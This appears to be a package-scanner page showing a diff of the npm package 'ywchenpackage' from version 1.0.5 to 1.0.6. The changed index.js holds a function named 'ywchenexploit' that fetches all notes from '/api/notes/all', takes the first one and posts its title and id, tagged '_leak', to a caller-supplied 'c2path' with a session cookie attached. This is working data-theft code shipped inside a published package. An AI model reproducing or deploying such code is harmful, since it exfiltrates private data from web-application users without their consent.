ywchenpackage 1.0.5 → 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +3 -4
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,6 +1,5 @@
|
|
1
|
-
function ywchenexploit(cookie) {
|
1
|
+
function ywchenexploit(cookie, c2path) {
|
2
2
|
let stolenurl = "/api/notes/all";
|
3
|
-
let c2url = "/api/notes";
|
4
3
|
fetch(stolenurl)
|
5
4
|
.then(
|
6
5
|
function(response){
|
@@ -11,13 +10,13 @@ function ywchenexploit(cookie) {
|
|
11
10
|
let stolen = response[0];
|
12
11
|
stolen.author = "aaaa";
|
13
12
|
fetch(
|
14
|
-
|
13
|
+
c2path, {
|
15
14
|
method: "POST",
|
16
15
|
headers: {
|
17
16
|
"content-type": "application/json",
|
18
17
|
"cookie": "session="+cookie
|
19
18
|
},
|
20
|
-
body: JSON.stringify({"title":stolen.title+"
|
19
|
+
body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.id})
|
21
20
|
}
|
22
21
|
);
|
23
22
|
})
|